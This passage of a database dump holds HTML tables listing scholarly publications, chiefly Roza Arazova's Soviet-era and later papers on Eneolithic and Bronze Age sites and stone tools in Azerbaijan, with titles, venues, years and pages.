width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2007</p></td><td width=\"66\"><p style=\"background:undefined \">N-3-4, (стр. 11-21</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Arxeoloqun salnaməsi (t.e.d. Tarix Dostiyev ilə mühasibə).</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"66\"><p style=\"background:undefined \">N-2, (səh. 141-145)</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Azərbaycanda erkən əkinçilik mədəniyyətlərin öyrənilməsində yeni metodların tətbiqi</p></td><td width=\"144\"><p style=\"background:undefined \">Azərbaycan arxeologiyası</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Bakı,</strong></p><p style=\"background:undefined \"><strong>Xəzər Universiteti</strong></p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"66\"><p style=\"background:undefined \">N-1 (səh. 30-40)</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Домашние производства древнемледельческих обществ Азербайджана.</p></td><td width=\"144\"><p style=\"background:undefined \">Международная научная конференция «Древней Джейтун- центр раннего земледелия»</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Ашгабат</p></td><td width=\"60\"><p style=\"background:undefined \">2009</p></td><td width=\"66\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Obsidian in the productive activity of early farming communities of the southern Caucasus</p></td><td width=\"144\"><p style=\"background:undefined \">Von Majkop bis Trialeti. Gewinnunq und Verbreitung von Metaleen und obsidian in Kaukasian im 4- 2. jt.v.Chr.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Bonn</p></td><td width=\"60\"><p style=\"background:undefined \">2010</p></td><td width=\"66\"><p style=\"background:undefined \">pp.39-40</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><div><strong><br></strong></div></td></tr></tbody></table></div><br></div>'),(559,367,'en',' Roza Arazova',' Roza Arazova','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif\">Tarix və arxeologiya departamenti Roza Arazovanın elmi əsərlərinin siyahısı</p><p style=\"font-family:\'times new roman\', times, serif\"><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"30\"><p>&nbsp;</p><p>#</p></td><td width=\"174\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"96\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td><td width=\"42\"><p><strong>Hard copy</strong></p><p><strong>Yes/No</strong><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>eVersion</strong></p><p><strong>Yes/No</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Использование твердых пород камня обитателями энеолитического поселения Шомутепе.</p></td><td width=\"144\"><p>Материалы к сессии, посвященной итогам археологических и этнографических изысканий 1970 г. в&nbsp; Азербайджане.</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1971 г.</p></td><td width=\"66\"><p>2 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Скоблящие орудия из Шомутепе.</p></td><td width=\"144\"><p>Материалы сессии, посвященной итогам археологических и этнографических исследований 1971 года в Азербайджане.</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Баку,</p></td><td width=\"60\"><ol><li>1972 г. 1972 г.</li></ol><p><strong>&nbsp;</strong></p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Каменные орудия из поселения Гаргалартепе</p></td><td width=\"144\"><p>«Ученые записки» АГУ им. С.М.Кирова (сер: история и философия)</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1972</p></td><td width=\"66\"><p>№6 7 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Энеолитическое поселение Гаргалартепеси.</p></td><td width=\"144\"><p>Археологические открытия 1971 года</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1972</p></td><td width=\"66\"><p>3</p><p>стр.</p><p><strong>&nbsp;</strong></p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Типологическое изучение обсидиановых орудий из Иланлытепе</p></td><td width=\"144\"><p>Археологические открытия 1971 года</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1972</p></td><td width=\"66\"><p>3стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Каменные острия из энеолитических поселений Азербайджана</p></td><td width=\"144\"><p>Итоги полевых археологических и этнографических исследований за 1972 г. в Азерб. ССР.</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1973</p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Раскопки на энеолитическом поселении Гаралартепеси</p></td><td width=\"144\"><p>Археологические открытия 1972 года</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1973</p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Вкладыши серпов из энеолитического поселения Шомутепе</p></td><td width=\"144\"><p>Доклады АН Азерб. ССР</p></td><td width=\"96\"><p><strong>&nbsp;</strong></p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1974</p></td><td width=\"66\"><p>№5</p><p>5 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Исследования в Кубинском районе.</p></td><td width=\"144\"><p>Археологические открытия 1975 года</p></td><td width=\"96\"><p>Халилов Д.А., Гусейнова Л.Г.</p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1976</p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Раскопки горизонта II поселения Аликемектепеси</p></td><td width=\"144\"><p>Археологические открытия 1976 года.</p></td><td width=\"96\"><p>Махмудов Ф., Нариманов И., Гашгай С.М.</p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1977</p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Исследования в Гусарском районе</p></td><td width=\"144\"><p>Археологические открытия 1976 года</p></td><td width=\"96\"><p>Халилов Д.А., Гусейнова Л.Г., Ахундов Т.И.</p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1977</p></td><td width=\"66\"><p>1 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>О поселении Джиннитепе</p></td><td width=\"144\"><p>Доклады АН Азерб. ССР</p></td><td width=\"96\"><p>Нариманов И.Г., Махмудов Ф.Р.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1977</p></td><td width=\"66\"><p>№6 4 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические раскопки Рустовского могильника в 1975 г.</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1975 году.</p></td><td width=\"96\"><p>Халилов Д.А, Гусейнова Л.Г., Ахундов T.И.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1978</p></td><td width=\"66\"><p>4 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Сравнительное изучение обсидиана из энеолитических поселений Азербайджана и месторождений Закавказья.</p></td><td width=\"144\"><p>Известия АН Азерб. ССР (серия: история и философия),</p></td><td width=\"96\"><p>Мамедов A.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1979</p></td><td width=\"66\"><p>№3, 8 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические памятники Кусарского района.</p></td><td width=\"144\"><p>Археологические изыскания в Азербайджане в 1976 году.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1979</p></td><td width=\"66\"><p>4 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Исследования в Хачмазском районе</p></td><td width=\"144\"><p>Археологические этнографические изыскания в Азербайджане в 1975 году.</p></td><td width=\"96\"><p>Халилов Д., Расулова M., Гошгарлы Г.О. и др.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1978</p></td><td width=\"66\"><p>2 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Исследования на северо-восточных склонах Большого Кавказского хребта.</p></td><td width=\"144\"><p>Археологические открытия 1978 году.</p></td><td width=\"96\"><p>Халилов Д.А., Гошгарлы Г.О., Ахундов T.M.</p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1979</p></td><td width=\"66\"><p>1 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>О двух поселениях ранней бронзы из Кусарского района</p></td><td width=\"144\"><p>Доклады АН Азекрб. ССР</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1980</p></td><td width=\"66\"><p>№1</p><p>5 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Об использовании битума в древнем Азербайджане.</p></td><td width=\"144\"><p>Советская археология</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Москва</p></td><td width=\"60\"><p>1981</p></td><td width=\"66\"><p>№3</p><p>5 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Чаккаллыктепе- поселение эпохи ранней бронзы.</p></td><td width=\"144\"><p>Доклады АН Азерб. ССР</p></td><td width=\"96\"><p>Ахундов T.M.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1981</p></td><td width=\"66\"><p>№9</p><p>5 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Об археологических памятниках северо-восточного Азербайджана</p></td><td width=\"144\"><p>Доклады Ан Азерб. ССР</p></td><td width=\"96\"><p>Халилов Д.А., Ахундов T.M., Гошгарлы Г.О.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1980</p></td><td width=\"66\"><p>6 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические памятники Хачмазского района.</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1977 году</p></td><td width=\"96\"><p>Халилов Д.А., Ахундов T.M., Гошгарлы Г.О., Расулова М.М.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1980</p></td><td width=\"66\"><p>6 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Новые памятники северо-восточного Азербайджана.</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1978 году</p></td><td width=\"96\"><p>Халилов Д.А., Ахундов T.M., Гошгарлы Г.О.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1982</p></td><td width=\"66\"><p>4 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические исследования в Кубинском и Дивичинском районах.</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1979 году</p></td><td width=\"96\"><p>Д.А., Ахундов T.M., Гошгарлы Г.О., Алиев А.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1984</p></td><td width=\"66\"><p>5 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Поселение Кучумхантепе в Кусарском районе.</p></td><td width=\"144\"><p>Доклады АН Азерб. ССР</p></td><td width=\"96\"><p>Ахундов T.M</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1984</p></td><td width=\"66\"><p>№9, (5 стр.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>К изучению каменных орудий труда с Чалагантепе.</p></td><td width=\"144\"><p>Всесоюзная археологическая конференция «Достижения Советской археологии в XI-й пятилетке»</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1985</p></td><td width=\"66\"><p>3 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Функциональное изучение каменных орудий из нижнего слоя поселения Баба-Дервиш</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1980-1981 гг</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1986</p></td><td width=\"66\"><p>7 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Каменная индустрия Чалагантепе</p></td><td width=\"144\"><p>Археологические и этнографические изыскания в Азербайджане в 1985 г.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1986</p></td><td width=\"66\"><p>1 стр</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Каменные орудия труда ранных земледельческо-скотоводческих племен Западного Азербайджана</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1986</p></td><td width=\"66\"><p>9 п.л.</p><p>с. 163</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Прогресс в развитии хозяйства&nbsp; поселения&nbsp; Аликемектепеси&nbsp;</p></td><td width=\"144\"><p>Технологический и культурный прогресс в раннеземледель-ческую эпоху</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Ашхабад</p></td><td width=\"60\"><p>1987</p></td><td width=\"66\"><p>25-27 стр. с.3</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>История средних веков.</p></td><td width=\"144\"><p>Программа для исторического факультета педагогического института</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1987</p></td><td width=\"66\"><p>2,5 п.л.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Археологические памятники северо-восточного Азербайджана</p></td><td width=\"144\"><p>&nbsp;</p></td><td width=\"96\"><p>Халилов Д.А., Гошгарлы Г.О.</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1991</p></td><td width=\"66\"><p>15 п.л.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Раннеземледельческая культура Гянджа-Казахской равнины</p></td><td width=\"144\"><p>Проблемы древней и средневековой истории Азербайджана</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1992</p></td><td width=\"66\"><p>5 стр. с.3-8</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Трасологическое изучение костяных орудий труда раннеземледельческого поселения Аликемек</p><p>тепеси</p></td><td width=\"144\"><p>Проблемы древней и средневековой истории Азербайджана</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1992</p></td><td width=\"66\"><p>5 стр. с.8-13</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>О геральдических знаках Азербайджана.</p></td><td width=\"144\"><p>Azərbaycan tarixinin problemləri, müasir tədris və elmi nəşrlərdə onların əksi.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı</p></td><td width=\"60\"><p>1995</p></td><td width=\"66\"><p>2 стр. с.11-12</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Бакинский Университет «Хазар» в системе международного образования.</p></td><td width=\"144\"><p>Роль Баку в международных многосторонних взаимосвязях Азербайджана. Третий международный Бакинский симпозиум</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>1997</p></td><td width=\"66\"><p>2 стр. с.279-281</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Взаимосвязи раннеземледельческих культур Азербайджана с Передней Азией.</p></td><td width=\"144\"><p>Azərbaycan çoxəsirli qarşılıqlı çoxsahəli mədəni əlaqələrdə. Dördüncü Bakı Beynəlxalq Simpoziumunun məruzələrinin məcmuəsi</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı</p></td><td width=\"60\"><p>1999</p></td><td width=\"66\"><p>3стр.с.180-183</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Экспериментально-трасологический анализ орудий из раннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı,</p><p>Xəzər Universiteti</p></td><td width=\"60\"><p>1999</p></td><td width=\"66\"><p>№1-2.</p><p>стр. 20-23</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Древнейшие жатвенные орудия&nbsp; Азербайджана</p></td><td width=\"144\"><p>&nbsp;Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>1999</p></td><td width=\"66\"><p>№ 3-4,&nbsp; стр.30 – 35.</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Трасологический анализ орудий труда труда&nbsp; из раннеземледельческих памятников Азербайджана</p></td><td width=\"144\"><p>Современные экспериментально - трасологические и технико-технологические разработки в археологии. Первые Семеновские чтения.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Санкт-Петербург</p></td><td width=\"60\"><p>1999</p></td><td width=\"66\"><p>стр. 36-38</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Vadim Mixayloviç Masson: Həyat və yaradıcılıq yolu (70 illiyi münasibətilə)</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>F.Muradova</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>1999</p></td><td width=\"66\"><p>№1-2, (səh.83-86)</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Значение экспериментально-трасологического изучения&nbsp; раннеземледельческих&nbsp; комплексов Азербайджана</p></td><td width=\"144\"><p>Материалы международной&nbsp; научной конференции&nbsp; «Археология&nbsp; и этнография Кавказа»</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Баку</p></td><td width=\"60\"><p>2000</p></td><td width=\"66\"><p>стр. 43- 45</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>К вопросу древнейшей земледельческой культуры Азербайджана и ее взаимосвязей с Ближним Востоком.</p></td><td width=\"144\"><p>Azərbaycan tarixinin çağdaş problemləri.</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı</p></td><td width=\"60\"><p>2000</p></td><td width=\"66\"><p>стр.62-72</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Сравнительные изучения древнейших&nbsp; раннеземледельческих комплексов Азербайджана и Туркменистана.</p></td><td width=\"144\"><p>Культурное наследие Туркменистана (глубинные истоки и современные перспективы).&nbsp; Материалы&nbsp; международной&nbsp; научной конференции</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Ашгабат – Санкт-Петербург</p></td><td width=\"60\"><p>2000</p></td><td width=\"66\"><p>стр.119 – 120</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Mütləq və nisbi xronologiya.</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2000</p></td><td width=\"66\"><p>№3-4, səh. 96-97</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Alban çayı sahilində olan görkəmli albanşünas</p></td><td width=\"144\"><p>Azərbaycan arxeologiyası</p></td><td width=\"96\"><p>&nbsp;</p></td><td width=\"96\"><p>Bakı, Xəzər Universiteti</p></td><td width=\"60\"><p>2001</p></td><td width=\"66\"><p>№3-4, səh.113-119</p></td><td width=\"42\"><p><strong>&nbsp;</strong></p></td><td width=\"36\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p>Конь в бронзовом веке.</p></td><td width=\"144\"><p>Материалы Международной научной конференции «Роль Ахатекинского коня в формировании мирового коннозаводства», посвященной 10-ой годовщине независимости 